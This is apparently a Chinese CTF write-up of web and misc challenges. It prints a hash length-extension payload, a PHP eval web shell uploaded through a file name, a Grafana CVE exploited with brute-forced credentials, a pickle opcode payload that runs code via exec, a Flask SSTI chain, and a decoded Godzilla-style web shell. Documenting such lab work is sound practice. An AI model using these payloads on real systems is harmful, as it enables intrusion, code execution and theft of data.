SDPCSEC纳新赛3.0

本文最后更新于 2026年3月29日 下午

web

real_signin

提示有备份,直接扫一下目录,果然发现了index.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$SECRET_KEY='xxxxxxxxxxxx'; # len($SECRET_KEY) = 12
function hashEncode($data) {
global $SECRET_KEY;
return md5($SECRET_KEY.$data);
}
include('flag.php');

$md5=$_POST['md5'];
$value=$_POST['value'];
if(isset($md5) && isset($value)) {
echo(hashEncode('sdpc').'<br>');
if(hashEncode($value)===$md5) {
echo "yes, give you flag: ";
echo $FLAG;
}else{
echo("no.");
}
}

非预期?

1
value=sdpc&md5=193a8f62eed8bd2bb6d07dbfd8579d34

直接就能出来,不知道是不是就是这样的

猜测应该想考哈希扩展

image-20260328212742220

1
value=sdpc%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80%00%00%00%00%00%00%00abc&md5=fb7abb3b78411196d42c50c684596d22

image-20260328212924400

点墨染翰

上传头像只允许jpg和png,并且后端做了检查

查看历史页面的源码有一段比较可疑

1
2
3
4
5
6
<h3>当前头像:</h3>
<div class="avatar-display">
<img src="uploads/b2e5b371c29c0e14_1774704522.png" alt="Current Avatar">
</div>
<div class="code-execution">7.png </div>
</div>

推测漏洞点在7.png上

上传文件名为 <?php phpinfo();?>.png成功读取,下面上马

<?php @eval($_POST['pass']);?>.png

image-20260328213401437

real_Grafana

这个版本的grafana有CVE,但是需要用户名和密码,我们直接爆破一下

1
2
username:editor
password:editor123

下面直接打CVE-2024-9264

image-20260328214027001

Y0u_@r3_n0t_Acc1oFl4g

app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from flask import Flask, request, 
session, render_template_string, url_for,
redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from config import notAcc1oFl4g

app = Flask(__name__)

class RestrictedUnpickler(pickle.
Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__"
not in name:
return getattr(sys.modules
[module], name)
raise pickle.UnpicklingError("'%s.
%s' not allowed" % (module, name))


def restricted_loads(s):
"""Helper function analogous to
pickle.loads()."""
return RestrictedUnpickler(io.BytesIO
(s)).load()

@app.route('/')
def index():
return render_template_string('Hello
Hacker')

@app.route('/secret')
def secret():
info = request.args.get('param', '')
if info is not '':
x = base64.b64decode(info)
User = restricted_loads(x)
return render_template_string('oh you
find it')


if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True,
port=80)

config.py:

1
2
3
4
5
6
notAcc1oFl4g={"Acc1oFl4g":"no"}

def backdoor(cmd):
if notAcc1oFl4g["Acc1oFl4g"]=="yes":
s=''.join(cmd)
exec(s)
  • /secret 路由接受 param 参数
  • 参数经过 base64 解码后,传入 restricted_loads() 进行 pickle 反序列化

分析 RestrictedUnpickler 限制

1
2
3
4
5
6
7
8
9
class RestrictedUnpickler(pickle.
Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__"
not in name:
return getattr(sys.modules
[module], name)
raise pickle.UnpicklingError("'%s.
%s' not allowed" % (module, name))

限制条件:

  1. 只能从 config 模块加载类/函数
  2. 名称不能包含 __(防止使用 reduceinit 等魔术方法)

config.py 中存在一个 backdoor 函数:

1
2
3
4
def backdoor(cmd):
if notAcc1oFl4g["Acc1oFl4g"]=="yes":
s=''.join(cmd)
exec(s)

关键点:

  • backdoor 函数可以执行任意 Python 代码
  • 但需要 notAcc1oFl4g[“Acc1oFl4g”]==”yes” 才能触发
  • notAcc1oFl4g 是一个字典,初始值为 {“Acc1oFl4g”:”no”}

攻击思路

利用 pickle 操作码:

  1. 获取 config.notAcc1oFl4g 字典对象
  2. 修改字典值:notAcc1oFl4g[“Acc1oFl4g”] = “yes”
  3. 获取 config.backdoor 函数
  4. 调用 backdoor 执行任意代码

这里有一个叫pker的工具可以帮我们利用操作码,这里好像有python版本兼容问题,要放kali里面跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import sys

sys.path.insert(0, r'/home/kali/桌面/pker-master/')

from pker import cons

payload="""
a=GLOBAL('config','notAcc1oFl4g')
a['Acc1oFl4g'] = 'yes'
func=GLOBAL('config','backdoor')
func('raise Exception(open("/flag").read())')"""

payload = cons(payload)
print(payload)

由于这里没有回显,所以我们用异常抛出把flag吐出来

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import base64
import requests

payload = b'cconfig\nnotAcc1oFl4g\np0\n0g0\nS\'Acc1oFl4g\'\nS\'yes\'\nscconfig\nbackdoor\np2\n0g2\n(S\'raise Exception(open("/flag").read())\'\ntR'

encoded = base64.b64encode(payload).decode()
print(f"Payload: {encoded}")

url = "http://175.27.251.122:35425/secret"
response = requests.get(url, params={"param": encoded})
print(f"Response: {response.text}")

image-20260329094307881

referer

pickle反序列化漏洞基础知识与绕过简析-先知社区

超かぐや姫!

flask框架,邮箱的地方存在ssti,但是邮箱地址不让有小括号、中括号,试了双引号包裹貌似也不行,这样就不能执行命令了

后台应该是把config和request也删了,没法直接调用

1
{{lipsum.__globals__.os.sys.modules.flask.current_app.config}}

找到一条能读敏感信息的链子

image-20260329172406361

Misc

easy_traffic

首先筛选http流量

image-20260329145940199

我们发现两个POST流量

第一个上传了1.zip,我们追踪tcp把压缩包保存,发现里面有flag.png但是需要密码解压

我们看第二个POST

image-20260329150112668

请求包的部分url解码,反转,base64解码得到一串代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='camellia';
$payloadName='payload';
$key='d2514888c140c3b6';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

我们用Python脚本解密响应包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import base64
import gzip
import hashlib

# 从响应中提取的数据
response = "b467b82236edb9d3Lb45NDg4OGMxPvtN/Sz8zXj8e2XY3Tpj2fG+Kz9iNmQ=6d3a211d4d306f47"

# 分割各部分
prefix = response[:16]
b64_data = response[16:-16]
suffix = response[-16:]

# 验证 MD5
pass_key = "camellia" + "d2514888c140c3b6"
md5_hash = hashlib.md5(pass_key.encode()).hexdigest()
assert prefix == md5_hash[:16]
assert suffix == md5_hash[16:]

# Base64 解码
encrypted = base64.b64decode(b64_data)

# XOR 解密
key = "d2514888c140c3b6"
decrypted = bytearray()
for i, b in enumerate(encrypted):
k = ord(key[(i + 1) & 15])
decrypted.append(b ^ k)

# Gzip 解压
password = gzip.decompress(bytes(decrypted))
print(password) # b'kskblzdjd'

得到kskblzdjd

这个就是压缩包的密码,我们得到了flag.png

flag

这个是汉信码,我们找一个在线网站

image-20260329150857859


SDPCSEC纳新赛3.0
https://www.sunynov.top/2026/03/28/SDPCSEC纳新赛3/
作者
suny
发布于
2026年3月28日
许可协议